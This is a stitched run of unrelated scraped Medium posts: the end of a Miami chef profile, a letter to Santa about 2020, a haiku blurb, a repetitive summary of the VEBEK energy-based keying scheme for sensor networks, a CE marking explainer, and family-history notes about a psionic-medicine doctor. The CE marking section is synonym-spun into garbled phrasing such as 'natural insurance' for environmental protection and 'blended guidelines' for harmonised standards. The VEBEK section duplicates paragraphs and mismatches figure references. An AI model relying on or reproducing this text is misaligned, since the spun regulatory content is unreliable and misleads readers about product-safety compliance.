But staying home was never an option for Carulli. His family is one of cooks and workers who believe in the American dream. Carulli’s parents emigrated from Italy to New Jersey. They both worked in factories during the ‘70s and ‘80s to support the family.
Even after working long hours at the factory, both of his parents loved cooking.
R House specialities created by Carulli. (Courtesy R House Instagram page)
“My parents loved to entertain when I was younger,” Carulli said. “It was always big barbecues and big feasts, it was all about cooking.”
Carulli is no different.
But Carulli, like many other members of the LGBTQIA+ community, struggled with his sexuality out of fear. After roughly 30 years, Carulli now celebrates what he once concealed, openly and proudly.
“My parents would be at work so there was this half an hour or so when I was home alone,” Carulli said. “I would always play cooking shows.”
Carulli is now the owner of a restaurant that celebrates what he thought he had to hide. Even his parents come and enjoy the food, extravagant shows and brunches.
As the pandemic declines Carulli’s advice to the world is simple.
“Just keep going, because stopping isn’t going to help,” Carulli said. “Whenever you’re going through a tough time just keep going, you will get to the other side.” | https://medium.com/pandemic-portraits/a-miami-chef-braves-a-pandemic-reset-and-emerges-bolder-than-ever-35ca2e3f50bb | ['Tori Taylor'] | 2021-07-06 22:12:51.246000+00:00 | ['LGBTQ', 'Pandemic Diaries', 'Student Journalism', 'Restaurant', 'Florida'] |
My Grown-up Christmas List: Understanding Over Ignorance | Photo by Martin Vysoudil on Unsplash
Dear Santa,
The last time I wrote to you I was about 11 years old. I asked for a new American Girl Bitty Baby doll and probably some clothes. Putting together my Christmas list used to bring me so much joy. I loved the excitement of writing to you, thinking it would soon reach the North Pole.
I know I’m no longer a child. It’s been a while, but I feel a letter to you has never been more appropriate. Unfortunately, my wish list isn’t quite as cheerful as a new babydoll. The world is falling apart. It’s too much. So, 13 years later, I am writing to you again.
Santa Claus, here’s my grown-up Christmas List…
At this time last year, I and many others were excited for 2020. Each New Year feels like a fresh start. You enter the year with resolutions. Maybe find a new job, build a dream home, or finally take a trip across the pond.
How quickly our New Year aspirations were demolished.
We started off 2020 with disastrous wildfires scorching millions of acres in Australia. I’m sure you saw it on the news. Officials have declared it among “the worst wildlife disasters in modern history.”
Australia’s 2019–2020 Wildfire Season ravaged nearly 46 million acres of land. As reported by Al Jazeera, 3 billion animals were either killed or displaced. Those 3 billion affected lives include 2.46 billion reptiles, 180 million birds, and 51 million frogs. Those innocent creatures are lost, but they cannot die in vain. In their memory, you need to help us prevent losing more wildlife.
Wildfires are a natural disaster, only made worse by the climate crisis. Please, help worldwide leaders unify to fight climate change. We can’t afford to lose this much land and kill off entire species of animals any longer.
If deadly wildfires weren’t enough, we were hit with a global pandemic. As of December 20, we now have 76.5 million reported cases of COVID-19 worldwide, with a total of 1.69 million reported deaths.
Luckily for you, the North Pole is isolated. Word on the street, Santa Claus is immune to COVID-19. Though you’re immune, I know you have friends in high places. Time to give them a call.
Some families haven’t seen loved ones since last Christmas. Daughters and sons lost their parents, without having a chance to say goodbye. People died. Too many people needlessly died.
Small businesses open for 50+ years shut down because they didn’t receive enough help. While they may seem like just stores or restaurants, they are livelihoods. They drive our local economies. Local restaurants, bookstores, boutiques, and coffee shops bring people joy…the joy we need right now.
Santa, find a way to give our small businesses the means to survive.
To make matters worse, people have turned this pandemic into political warfare. It seems anytime mask-wearing and public health is brought up, people argue.
I am so sick of the arguing. It’s not what we need right now. What we need is to come together. Please, unite the people. It’s the only way we’ll get out of this pandemic.
Finally, racism is very real in the United States. Systemic racism has led people to believe “All Lives Matter” is a more appropriate movement than “Black Lives Matter.”
All lives can’t matter until Black lives do, too.
According to the Washington Post, 220 Black people were shot and killed by police in 2020. We protested tirelessly in 2020. We signed thousands of petitions. We called on leaders and organizations. We argued on social media. It hasn’t been enough.
COVID-19 has only magnified systemic inequalities with non-white Americans, especially Black, Hispanic, and Native American people, facing higher COVID-19 hospitalizations and death rates in the U.S.
Why is that? If the statistics were reversed and white people were dying at an unprecedented rate, maybe then, people would take the pandemic more seriously.
Being non-white shouldn’t be a death sentence. Empower us to continue having conversations about racism. Help us ignite the fight. You might just be the most powerful influencer out there. Use your platform to end racism.
Well, Santa, we are nearing the end of my letter. I know it seems like I’ve asked for quite a bit, but there won’t be Christmas for much longer if our entire planet is ruined by climate change and we all die from COVID…or we kill each other simply because we lost all regard for human life. It’s morbid but true.
I fear the mentality that 2021 will magically be better. It won’t be better unless we make it better. Our planet will die if we continue abusing our resources. COVID-19 won’t disappear unless we all find a common solution. Our local businesses will perish if we don’t find a way to support them. Racism will continue to take lives unnecessarily if people don’t stand behind Black Lives Matter.
I hope you help people choose understanding over ignorance, in the very least. I think that’ll make a world of a difference.
Thanks for everything, Santa. As a token of my appreciation, I’ll be sure to leave out *spiked* egg nog this year.
Give Rudolph a kiss for me.
All the best,
Grace
Thanks for reading Writers Guild — A Penname publication
Share your stories on ManyStories.com to reach more readers. Auto-tweet your stories on repeat with Signal to increase engagement. | https://medium.com/writers-guild/dear-santa-14d614e94b23 | ['Grace Gagnon'] | 2021-01-27 17:51:56.097000+00:00 | ['Climate Change', 'BlackLivesMatter', 'Christmas', 'Wildlife', 'Covid 19'] |
Gift | Haiku is a form of poetry usually inspired by nature, which embraces simplicity. We invite all poetry lovers to have a go at composing Haiku. Be warned. You could become addicted.
Follow | https://medium.com/house-of-haiku/gift-4c6320af3b1d | ['Vaishali Paliwal'] | 2019-09-25 05:16:02.769000+00:00 | ['Meditation', 'Spirituality', 'Poetry', 'Haiku', 'Peace'] |
VIRTUAL ENERGY BASED ENCRYPTION AND KEYING | INTRODUCTION
Rapidly developed WSN technology is no longer nascent and will be used in a variety of application scenarios. Typical application areas include environmental, military, and commercial enterprises. For example, in a battlefield scenario, sensors may be used to detect the location of enemy sniper fire or to detect harmful chemical agents before they reach troops. In another potential scenario, sensor nodes forming a network under water could be used for oceanographic data collection, pollution monitoring, assisted navigation, military surveillance, and mine reconnaissance operations. Future improvements in technology will bring more sensor applications into our daily lives and the use of sensors will also evolve from merely capturing data to a system that can be used for real-time compound event alerting.
EXISTING SYSTEM:
An existing Dynamic Energy-based Encoding and Filtering framework to detect the injection of false data into a sensor network. Dynamic Energy-based that each sensed event report be encoded using a simple encoding scheme based on a keyed hash. The key to the hashing function dynamically changes as a function of the transient energy of the sensor, thus requiring no need for re-keying. Depending on the cost of transmission vs. computational cost of encoding, it may be important to remove data as quickly as possible. Accordingly, DEEF can provide authentication at the edge of the network or authentication inside of the sensor network. Depending on the optimal configuration, as the report is forwarded, each node along the way verifies the correctness of the encoding probabilistically and drops those that are invalid. We have evaluated DEEF’s feasibility and performance through analysis our results show that DEEF, without incurring transmission overhead.
2. PROPOSED SYSTEM:
VEBEK is a secure communication framework where sensed data is encoded using a scheme based on a permutation code generated via the RC4 encryption mechanism. The key to the RC4 encryption mechanism dynamically changes as a function of the residual virtual energy of the sensor. Thus, a one-time dynamic key is employed for one packet only and different keys are used for the successive packets of the stream. The intermediate nodes along the path to the sink are able to verify the authenticity and integrity of the incoming packets using a predicted value of the key generated by the sender’s virtual energy, thus requiring no need for specific rekeying messages. Our results show that VEBEK, without incurring transmission overhead (increasing packet size or sending control messages for rekeying), is able to eliminate malicious data from the network in an energy efficient manner. The encoding operation is essentially the process of permutation of the bits in the packet, according to the dynamically created permutation code via the RC4 encryption mechanism. The key to RC4 is created by the previous module (virtual energy-based keying module). The purpose of the crypto module is to provide simple confidentiality of the packet header and payload while ensuring the authenticity and integrity of sensed data without incurring transmission overhead of traditional schemes. However, since the key generation and handling process is done in another module, VEBEK’s flexible architecture allows for adoption of stronger encryption mechanisms in lieu of encoding. We also show that our framework performs better than other comparable schemes in the literature with an overall 60–100 percent improvement in energy savings without the assumption of a reliable medium access control layer.
HARDWARE REQUIREMENTS:
System : Pentium IV 2.4 GHz.
Hard Disk : 40 GB.
Floppy Drive : 1.44 Mb.
Monitor : 15 VGA Color.
Mouse : Logitech.
Ram : 512 Mb.
SOFTWARE REQUIREMENTS:
Operating System : Windows XP Professional
Coding Language : Visual C# .Net.
3. MODULE DESCRIPTION:
VIRTUAL ENERGY-BASED KEYING:
The virtual energy-based keying module of the VEBEK framework is one of the primary contributions of this paper. It is essentially the method used for handling the keying process. It produces a dynamic key that is then fed into the crypto module.
In VEBEK, each sensor node has a certain virtual energy value when it is first deployed in the network. Sensor nodes traverse several functional states. The states mainly include node-stay-alive, packet reception, transmission, encoding, and decoding. As each of these actions occurs, the virtual energy in a sensor node is depleted. The current value of the virtual energy in the node is used as the key to the key generation function.
VEBEK’s virtual energy-based keying module ensures that each detected packet2 is associated with a new unique key generated based on the transient value of the virtual energy. After the dynamic key is generated, it is passed to the crypto module, where the desired security services are implemented.
· Since a sensor node will be either forwarding some other sensor’s data or injecting its own data into the network, the set of actions and their associated energies for VEBEK includes packet reception (Erx), packet transmission (Etx), packet encoding (Eenc), packet decoding (Edec) energies, and the energy required to keep a node alive in the idle state (Ea). Specifically, the transient value of the virtual energy, Ev, is computed by decrementing the total of these predefined associated costs, Evc, from the previous virtual energy value.
In VEBEK, each sensor node has a certain virtual energy value when it is first deployed in the network. After deployment, sensor nodes traverse several functional states. The states mainly include node-stay-alive, packet reception, transmission, encoding, and decoding. As each of these actions occur, the virtual energy in a sensor node is depleted. The current value of the virtual energy, Evc, in the node is used as the key to the key generation function, F. During the initial deployment, each sensor node will have the same energy level Eini, therefore, the initial key, K1, is a function of the initial virtual energy value and an initialization vector (IV ). The IV s are predistributed to the sensors. Subsequent keys, Kj, are a function of the current virtual energy, Evc, and the previous key Kj_1. VEBEK’s virtual energy-based keying module ensures that each detected packet2 is associated with a new unique key generated based on the transient value of the virtual energy. After the dynamic key is generated, it is passed to the crypto module, where the desired security services are implemented.
TABLE 1: Notations Used
The process of key generation is initiated when data is sensed; thus, no explicit mechanism is needed to refresh or update keys. Moreover, the dynamic nature of the keys makes it difficult for attackers to intercept enough packets to break the encoding algorithm. The details are given in Algorithm 1. As mentioned above, each node computes and updates the transient value of its virtual energy after performing some actions. Each action (or state traversal) on a node is associated with a certain predetermined cost. Since a sensor node will be either forwarding some other sensor’s data or injecting its own data into the network, the set of actions and their associated energies for VEBEK includes packet reception (Erx), packet transmission (Etx), packet encoding (Eenc), packet decoding (Edec) energies, and the energy required to keep a node alive in the idle state (Ea).Specifically, the transient value of the virtual energy, Ev, is computed by decrementing the total of these predefined associated costs, Evc, from the previous virtual energy value.
Algorithm 1. Compute Dynamic Key
1: Compute Dynamic Key (Evc, IDclr)
2: begin
3: j <- txIDpower(clr)base(cnt)
4: if j =1 then
5: Kj <-F(Eini,IV)
6: else
7: Kj <- F(K(j_1), Evc)
8: end if
9: return Kj
10: end
The exact procedure to compute virtual cost, Evc, slightly differs if a sensor node is the originator of the data or the forwarder (i.e., receiver of data from another sensor). In
order to successfully decode and authenticate a packet, a receiving node must keep track of the energy of the sending node to derive the key needed for decoding. In VEBEK, the operation of tracking the energy of the sending node at the receiver is called watching and the energy value that is associated with the watched sensor is called Virtual Perceived Energy (Ep)
More formal definitions for watching are given as follows:
Definition 1
Given a finite number of sensor nodes, N(N={1, . . .,N}), deployed in a region, watching is defined as a node’s responsibility for monitoring and filtering packets coming from a certain (configurable) number of sensor nodes, r, where r <=N. <. is used to denote the watching operation.
Definition 2
Given a sensor node i, the total number of watched nodes, r, which the node is configured to watch, constitutes a watching list, WLi for node i and WLi =(1, 2, . . . ; r). Node i watches node k if IDk belongs WLi.
Deciding which nodes to watch and how many depends on the preferred configuration of the VEBEK authentication algorithm, which we designate as the operational mode of the framework. Specifically, we propose two operational
modes VEBEK-I and VEBEK-II.
When an event is detected by a source sensor, that node has remained alive for t units of time since the last event (or since the network deployment if this is the first event detected). After detection of the event, the node sends the l-bit length packet toward the sink. In this case, the following is the virtual cost associated with the source node:
Evc = l * (etx + eenc) + t * ea + Esynch:
In the case where a node receives data from another node, the virtual perceived energy value can be updated by decrementing the cost associated with the actions performed
by the sending node using the following cost equation. Thus, assuming that the receiving node has the initial virtual energy value of the sending node and that the packet is successfully received and decoded associated with a given source sensor, k, the virtual cost of the perceived energy is computed as follows:
Ekp= l * (erx + edec + etx + eenc) + t * 2 * ea;
where in both the equations, the small es refer to the one bit energy costs of the associated parameter.However, Esynch refers to a value to synchronize the source with the watcher-forwarders toward the sink as watcher-forwarder nodes spend more virtual energy due to packet reception and decoding operations, which are not present in source nodes.
Hence, Esynch = l * (erx + edec) + ea * t. The watching concept is illustrated with an example in Fig. 1.
Fig.1 An illustration of the watching concept with forwarding.
In the above figure, there is one source sensor node, A, and other nodes B, C, and D are located along the path to the sink. Every node watches its downstream node, i.e., B watches A (B <_ A), C watches B (C <_ B), and D watches C (D <_ C). All the nodes have the initial virtual energy of 2,000 mJ and as packets are inserted into the network from the source node (A) overtime, nodes decrement their virtual energy values. For instance, as shown in Fig. 1, node A starts with the value of 2,000 mJ as the first key to encode the packet (key generation based on the virtual energies is explained in the crypto module). Node A sends the first packet and decrements its virtual energy to 1,998 mJ. After node B receives this first packet, it uses the virtual perceived energy value (Ep = 2;000 mJ) as the key to decode the packet, and updates its Ep (1,998 mJ) after sending the packet. When the packet travels up to the sink, the virtual energy becomes a shared dynamic cryptic credential among the nodes.
RESOURCE CRYPTO MODULE:
The crypto module in VEBEK employs a simple encoding process, which is essentially the process of permutation of the bits in the packet according to the dynamically created permutation code generated via RC4. The encoding is a simple encryption mechanism adopted for VEBEK.
However, VEBEK’s flexible architecture allows for adoption of stronger encryption mechanisms in lieu of encoding. Last, the forwarding module handles the process of sending or receiving of encoded packets along the path to the sink. After the dynamic key is generated, it is passed to the crypto module, where the desired security services are implemented.
The process of key generation is initiated when data is sensed; thus, no explicit mechanism is needed to refresh or update keys. Moreover, the dynamic nature of the keys makes it difficult for attackers to intercept enough packets to break the encoding algorithm.
Due to the resource constraints of WSNs, traditional digital signatures or encryption mechanisms requiring expensive cryptography is not viable. The scheme must be simple, yet effective. Thus, in this section, we introduce a simple encoding operation. The encoding operation is essentially the process of permutation of the bits in the packet, according to the dynamically created permutation code via the RC4 encryption mechanism.
Due to the resource constraints of WSNs, traditional digital signatures or encryption mechanisms requiring expensive cryptography is not viable. The scheme must be simple, yet effective. Thus, in this section, we introduce a simple encoding operation. The encoding operation is essentially the process of permutation of the bits in the packet, according to the dynamically created permutation code via the RC4 encryption mechanism. The key to RC4 is created by the previous module (virtual energy-based keying module). The purpose of the crypto module is to provide simple confidentiality of the packet header and payload while ensuring the authenticity and integrity of sensed data without incurring transmission overhead of traditional schemes. However, since the key
generation and handling process is done in another module, VEBEK’s flexible architecture allows for adoption of stronger encryption mechanisms in lieu of encoding.
The packets in VEBEK consists of the ID (i-bits), type (t-bits) (assuming each node has a type identifier), and data (d-bits) fields. Each node sends these to its next hop.
However, the sensors’ ID, type, and the sensed data are transmitted in a pseudorandom fashion according to the result of RC4. More specifically, the RC4 encryption algorithm takes the key and the packet fields (byte-bybyte) as inputs and produces the result as a permutation code as depicted in Fig. 2. The concatenation of each 8-bit output becomes the resultant permutation code. As mentioned earlier, the key to the RC4 mechanism is taken rom the core virtual energy-based keying module, which is responsible for generating the dynamic key according to the residual virtual energy level. The resultant permutation code is used to encode the (ID/type/data) message. Then, an additional copy of the ID is also transmitted in the clear along with the encoded message. The format of the final packet to be transmitted becomes Packet= [ID{ID; type; datag}k] where {x}k constitutes encoding x with key k. Thus, instead of the traditional approach of sending the hash value (e.g., message digests and message authentication codes) along with the information to be sent, we use the result of the permutation code value locally. When the next node along the path to the sink receives the packet, it generates the local permutation
code to decode the packet.
Fig. 2. An illustration of the use of RC4 encryption mechanism in VEBEK.
Another significant step in the crypto module involves how the permutation code dictates the details of the encoding and decoding operations over the fields of the packet when generated by a source sensor or received by a forwarder sensor. Specifically, the permutation code P can be mapped to a set of actions to be taken on the data stream combination. As an example, the actions and their corresponding bit values can include simple operations such as shift, interleaving, taking the 1’s complement, etc. Other example operations can be seen in Table 2.
TABLE 2: Example Encoding Operations
Figure 3 Illustration of a sample encoding operation. (a) i + t + d bit string before permutation. (b) Example encoding operations. © Example permutation code value. (d) i + t + d bit string after permutation.
For example, if a node computed the following permutation code P={1100100101}, the string in Fig. 5a becomes the string in Fig. 3d before it is transmitted. The receiver will perform the same operations (since the inputs to RC4 are stored and updated on each sensor) to accurately decode the packet. To ensure correctness, the receiver compares the plaintext ID with the decoded ID. Moreover, although it is theoretically possible (1 in 2power(i+t+d) for a hacker to accurately inject data, it becomes increasingly unlikely as the packet grows. The benefits of this simple encoding scheme are: 1) since there is no hash code or message digest to transmit, the packet size does not grow, avoiding bandwidth overhead on an already resource-constrained network, thus increasing the network lifetime, 2) the technique is simple, thus ideal for devices with limited resources (e.g., PDAs), and 3) the input to the RC4 encryption mechanism, namely, the key, changes dynamically without sending control messages to rekey.
NETWORKING MODULE:
Client-server computing or networking is a distributed application architecture that partitions tasks or workloads between service providers (servers) and service requesters, called clients. Often clients and servers operate over a computer network on separate hardware. A server machine is a high-performance host that is running one or more server programs which share its resources with clients. A client also shares any of its resources; Clients therefore initiate communication sessions with servers which await (listen to) incoming requests.
FORWARDING
The forwarding module is responsible for the sending of packets (reports) initiated at the current node (source node) or received packets from other sensors (forwarding nodes) along the path to the sink. The reports traverse the network through forwarding nodes and finally reach the terminating node, the sink.
The final module in the VEBEK communication architecture is the forwarding module. The forwarding module is responsible for the sending of packets (reports) initiated at the current node (source node) or received packets from other sensors (forwarding nodes) along the path to the sink. The reports traverse the network through forwarding nodes and finally reach the terminating node, the sink. The operations of the forwarding module are explained in this section.
3.3.1 Source Node Algorithm
When an event is detected by a source node, the next step is for the report to be secured. The source node uses the local virtual energy value and an IV (or previous key value if not the first transmission) to construct the next key. As discussed earlier, this dynamic key generation process is primarily handled by the VEBEK module. The source sensor fetches the current value of the virtual energy from the VEBEK module. Then, the key is used as input into the RC4 algorithm inside the crypto module to create a permutation code for encoding the {ID/type/data} message. The encoded message and the cleartext ID of the originating node are transmitted to the next hop (forwarding node or sink) using the following format: [ID,{ID,type,data}Pc], where {x}basePc constitutes encoding x with permutation code Pc. The local virtual energy value is updated and stored for use with the transmission of the next report.
3.3.2 Forwarder Node Algorithm
Once the forwarding node receives the packet it will first check its watch-list to determine if the packet came from a node it is watching. If the node is not being watched by the current node, the packet is forwarded without modification or authentication. Although this node performed actions on the packet (received and forwarded the packet), its local virtual perceived energy value is not updated. This is done to maintain synchronization with nodes watching it further up the route. If the node is being watched by the current node, the forwarding node checks the associated current virtual energy record (Algorithm 2) stored for the sending node and extracts the energy value to derive the key. It then authenticates the message by decoding the message and comparing the plaintext node ID with the encoded node ID. If the packet is authentic, an updated virtual energy value is stored in the record associated with the sending node. If the packet is not authentic it is discarded. Again, the virtual energy value associated with the current sending node is only updated if this node has performed encoding on the packet.
Algorithm 2.
Forwarding Node Algorithm with Communication Error Handling
1: Forwarder(currentNode,WatchedNode,UpstreamNode)
2: begin
3: i <-currentNode; enc <-0;WLi<- WatchList
4: k <-WatchedNode; src<- 0; j<- 0
5: Erxi , {IDclr, {msg}K} ReceivePacket()
6: if IDclr belongs WLi then
7: while (keyFound = 0)and(j <= threshold) do
8: Ekpi <- Fetch Virtual Energy(I, IDclr, enc, src)
9: K <-ComputeDynamicKey(Ekpi,IDclr)
10: Pc<- RC4(K,IDclr)
11: Edeci, MsgID decode(Pc, {msg}K)
12: if IDclr = MsgID then
13: keyFound<- true
14: else
15: j++
16: Ekpi<-Ekpi_ Etxi _ Eenci _ Erxi _ Edeci _ 2 _ Eai
17: end if
18: end while
19: if keyFound = true then
20: if j > 1 then
21: reEncode <- true
22: else
23: if Ebi > 0 then
24: reEncode <- true
25: else
26: reEncode <- false
27: end if
28: end if
29: if reEncode =true then
30: enc <- 1
31: Ebi <- Fetch Virtual Energy (I, IDclr, enc; src)
32: K <- ComputeDynamicKey(Ebi, IDclr)
33: Pc <- RC4(K, IDclr)
34: Eenci , {msg}Pc <- encode (Pc, msg)
35: packet <- (IDclr, {msg}Pc)
36: Etxi <- ForwardPacket()
37: Ebi <- Ebi _ Etxi _ Eenci _ Erxi _ Edeci _ 2 _ Eai
38: else
39: ForwardPacket() //Without any modification
40: end if
41: else
42: DropPacket() //Packet not valid
43: end if
44: else
45: ForwardPacket() //Without any modification
46: end if
47: end
Addressing Communication Errors via Virtual Bridge Energy
In VEBEK, to authenticate a packet, a node must keep track of the virtual energy of the sending node to derive the key needed for decoding. Ideally, once the authenticating node has the initial virtual energy value of the sending node, the value can be updated by decrementing the cost associated with the actions performed by the sending node using the cost equations defined in the previous sections on every successful packet reception. However, communication errors may cause some of the packets to be lost or dropped. Some errors may be due to the deployment region (e.g.,
underwater shadow zones) while operating on unreliable underlying protocols (e.g., medium access control protocol). For instance, ACK or data packets can be lost and the sender may not be able to determine which one actually was lost. Moreover, malicious packets inserted by attackers who impersonate legitimate sensors will be dropped intentionally by other legitimate sensors to filter the bad data out of the network. In such communication errors or intentional packet drop cases, the virtual energy value used to encode the next data packet at the sending node may differ from the virtual energy value that is stored for the sending node at its corresponding watching node. Specifically, the node that should have received the dropped packet and the nodes above that node on the path to the sink lose synchronization with the nodes below (because the upper portion never sees the lost packet and does not know to decrement the virtual energy associated with servicing the lost transmission). If another packet was to be forwarded by the current watching node using its current virtual energy, the upstream node(s) that watch this particular node would discard the packet. Thus, this situation needs to be resolved for proper functioning of the VEBEK framework.
To resolve potential loss of packets due to possible communication errors in the network, all the nodes are configured to store an additional virtual energy value, which we refer to as the Virtual Bridge Energy, Ebi , value to allow resynchronization (bridging) of the network at the next watching sensor node that determines that packets
were lost.
Definition 3
Given a node, i, bridging is defined as the process of encoding the incoming packet coming from any sensor node in WLi for the upstream sensor node, j, with the key generated using the local copy of Ebi .
That is, as subsequent packets generated from the node of interest pass through the next watching node, the next watching node will decode the packet with the virtual
perceived energy key of the originating node and re encode the packet with the virtual bridge energy key, thus, the network will be kept synchronized. It is important to note
that once this value is activated for a watched node, it will be always used for packets coming from that node and used even if an error does not occur for the later transmissions of the same watched node. The watching node always updates and uses this parameter to keep the network bridged. Another pertinent point is the determination of packet loss by the first upstream watching node who will bridge the network. The VEBEK framework is designed to avoid extra messages and not increase the packet size to determine packet loss in the network. Thus, the next watching node tries to find the correct value of the virtual perceived energy for the key within a window of virtual energies. For this, a sensor is configured with a certain VirtualKeySearchThreshold value. That is, the watching node decrements the predefined virtual energy value from the current perceived energy at most virtualKeySearchThreshold times. When the node extracts the key successfully, it records the newest perceived energy value and associates it with the sender node (lines 7–18 in Algorithm 2). This approach may also be helpful in severe packet loss cases (i.e., bursty errors) by just properly configuring the virtualKeySearchThreshold value. However, if the watcher node exhausts all of the virtual energies within the threshold, it then classifies the packet as malicious. The combined use of virtual perceived and bridge energies assure the continued synchronization of the network as whole. The forwarding node algorithm including the handling of communication errors is shown in Algorithm 2.
CONCLUSION
Communication is very costly for wireless sensor networks WSNs) and for certain WSN applications. Independent of the goal of saving energy, it may be very important to minimize the exchange of messages (e.g., military scenarios). To address these concerns, we presented a secure communication framework for WSNs called Virtual Energy- Based Encryption and Keying.
We have evaluated VEBEK’s feasibility and performance through both theoretical analysis and simulations. Our results show that different operational modes of VEBEK can be configured to provide optimal performance in a variety of network configurations depending largely on the application of the sensor network. We also compared the energy performance of our framework with other en route malicious data filtering schemes. Our results show that VEBEK performs better than others while providing support for communication error handling, which was not the focus of earlier studies.
REFERENCES
[1] I.F. Akyildiz, W. Su, Y. Sankarasubramaniam, and E. Cayirci, “Wireless Sensor Networks: A Survey,” Computer Networks, vol. 38, no. 4, pp. 393–422, Mar. 2002.
[2] C. Vu, R. Beyah, and Y. Li, “A Composite Event Detection in Wireless Sensor Networks,” Proc. IEEE Int’l Performance, Computing, and Comm. Conf. (IPCCC ’07), Apr. 2007.
[3] S. Uluagac, C. Lee, R. Beyah, and J. Copeland, “Designing Secure Protocols for Wireless Sensor Networks,” Wireless Algorithms, Systems, and Applications, vol. 5258, pp. 503–514, Springer, 2008.
[4] Crossbow Technology, http://www.xbow.com, 2008. [5] G.J. Pottie and W.J. Kaiser, “Wireless Integrated Network Sensors,” Comm. ACM, vol. 43, no. 5, pp. 51–58, 2000.
[5] R. Roman, C. Alcaraz, and J. Lopez, “A Survey of Cryptographic Primitives and Implementations for Hardware-Constrained Sensor Network Nodes,” Mobile Networks and Applications, vol. 12, no. 4, pp. 231–244, Aug. 2007.
[6] H. Hou, C. Corbett, Y. Li, and R. Beyah, “Dynamic Energy-Based Encoding and Filtering in Sensor Networks,” Proc. IEEE Military Comm. Conf. (MILCOM ’07), Oct. 2007.
[7] L. Eschenauer and V.D. Gligor, “A Key-Management Scheme for Distributed Sensor Networks,” Proc. Ninth ACM Conf. Computer and Comm. Security, pp. 41–4, 2002.
[8] M. Eltoweissy, M. Moharrum, and R. Mukkamala, “Dynamic Key Management in Sensor Networks,” IEEE Comm. Magazine, vol. 44, no. 4, pp. 122–130, Apr. 2006.
[9] M. Zorzi and R. Rao, “Geographic Random Forwarding (GeRaF) for Ad Hoc and Sensor Networks: Multihop Performance,” IEEE Trans. Mobile Computing, vol. 2, no. 4, pp. 337–348, Oct.-Dec. 2003. | https://medium.com/@harimanasa17/virtual-energy-based-encryption-and-keying-ad199751b3e1 | ['Hari Manasa'] | 2019-11-21 23:59:53.675000+00:00 | ['Encryption', 'Keying', 'Virtual', 'Programming', 'Virtual Energy'] |
What is CE Marking (CE Mark)? | CE Marking Certification is a marking on explicit items showing that the maker announces consistence of that item with the applicable European product safety enactment.
What Does CE Marking Mean?
At the point when an item is CE marked, it implies that the maker has checked consistence with the basic health and safety prerequisites as showed in the appropriate European Directives and Regulations.
By denoting the item, the producer assumes full liability and obligation over the item.
CE Marking Certification is found on numerous items that are exchanged inside the European Economic Area (The EEA comprises of each of the 28 EU nations and Iceland, Liechtenstein and Norway).
The letters CE represent Conformité Européenne, which means European Conformity.
Is CE Marking Mandatory?
CE Marking is compulsory for items that fall under one of the 25 CE Directives or Regulations. At the point when an item isn’t secured by one of these Directives or Regulations, joining the CE mark is illegal. Frequently, beyond what one Directive or Regulation can be pertinent to an item.
To decide whether a Directive or Regulation applies to an item, counsel the Scope and the Definitions of the mandate. Likewise, check the exemptions that are not secured by the order to see whether your item is rejected.
What Are the Benefits of CE Marking?
Items that agree to the CE Marking Certification prerequisites profit by the accompanying:
Free development of merchandise
At the point when your item follows the CE Marking necessities, the item can move unreservedly between the member states. The member states together, work as an inner (or single) advertise. Inside the single market, agreeable items can be exchanged with no limitations. All things considered, CE Marking can be viewed as an identification for the European commercial center.
Significant level of wellbeing, security and natural insurance
Items that go along have a significant level of wellbeing, security and natural insurance, as they meet the necessities of the European Directives. At the point when the producer applied blended guidelines to consent to the prerequisites of the orders, the individual has assessed the present best in class techniques as for wellbeing, security and natural insurance. Purchasers and clients of CE checked items appreciate a similar degree of insurance.
Which Countries Accept the CE Mark?
CE Marking Certification fundamentally is a lot of decides for specific items that are sold inside the European Economic Area (EEA). The EEA comprises of every one of the 28 EU nations and Iceland, Liechtenstein and Norway).
The EEA incorporates EU nations and furthermore Iceland, Liechtenstein and Norway. It permits them to be a piece of the EU’s single market.
Every one of these nations work as a solitary market which permits free development of merchandise, capital, administrations and individuals between its part states.
Switzerland is neither an EU nor an EEA part however is a piece of the single market. This implies CE items can be sold in Switzerland.
Likewise, Turkey is neither an individual from the EU, nor part of the EEA. Be that as it may, as Turkey has completely actualized the greater part of the European CE stamping orders, this accepted circumstance implies that CE checked items can be sold uninhibitedly in Turkey.
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Extracts From My Family History Articles | Founder Of Psionic Medical Society
The Times, Saturday, Oct 14, 1978 it was reported that George Laurence died at home aged ,88 and a memorial service for him and his wife Minnie who died in June of that year was held at 11.00 on Saturday 28 October 1978 at St. Marys Parish Church.
I never met my ancestor but would liked to have known him. Did you know him? He was born into a Quaker family on 19 October 1880 in West Derby, Liverpool of Thomas Davy Laurence, a prosperous Temperance Hotel proprietor, Chairman of the Select Vestry who organised the Liverpool Workhouse and soon to be magistrate.
His mother was Kate Parkes whose father was an independent clergyman. In 1904 George qualified in London as a doctor and surgeon and in 1915 as a surgeon in Edinburgh. Whilst training to be a Doctor he married his first wife Olive in 1907. Once qualified he worked as a local doctor in Chippenham, Wiltshire.
In 1934 his father who was living with him died. George had also been present in Torquay in 1929 when his mother Kate died. In 1922 when the Temperance Hotel was demolished Thomas had resigned as local magistrate to look after his sick wife in Torquay. After her death he moved to Chippenham to live with his son George. Olive had two children, Robert Wilton and Mary Blanche.
From June 1942 to end of May 1954 he was employed as Works Medical Officer who was also in charge of Welfare being Chairman of the Works entertainment committee for Westinghouse Brake and Signal, whose employees rose from 2,500 in 1942 to around 4,500 in 1954. In 1953 his first wife died and he married Minnie Pike.
Upon retirement he moved into private practice in Wargrave, specialising in homeopathy. In collaboration with two others he published a book called Psionic Medicine and founded the Psionic Medical Society. He lived at Mumbery Lodge, School Hill which he had built for him, now demolished. Were you one of his patients, did you know him? Please could you tell me more about him?
Letter printed in the Wargrave Times
Laurence's Liverpool Temperance Hotel > Thomas Davey Laurence
In the 1861 census there is a small girl of 10 called Rosamond Evison and her sister Mary Ann in her uncle William’s hotel Laurences Commercial and Family Temperance and both are observing Williams father, Thomas, age 79 ruddy faced coal merchant from another era in deep discussion with his son.
Others present are her relatives: William Michaels wife, Francis Ann Laurence 42, Emily Laurence 19, Fanny Caroline Laurence 5, Charles Michael Laurence 4, and the hotel’s customers: William Davies 41, commercial traveller, David Bickerton 30, commercial traveller, and the hotel’s employees that later in life she will join Mary Milling 33, waitress, Helen Parsons 23, housemaid, Mary Ann Halliday 22, kitchen maid, Elizabeth Meakin 28, chambermaid, Jane Carson 47, cook , William Williams 21, boots.
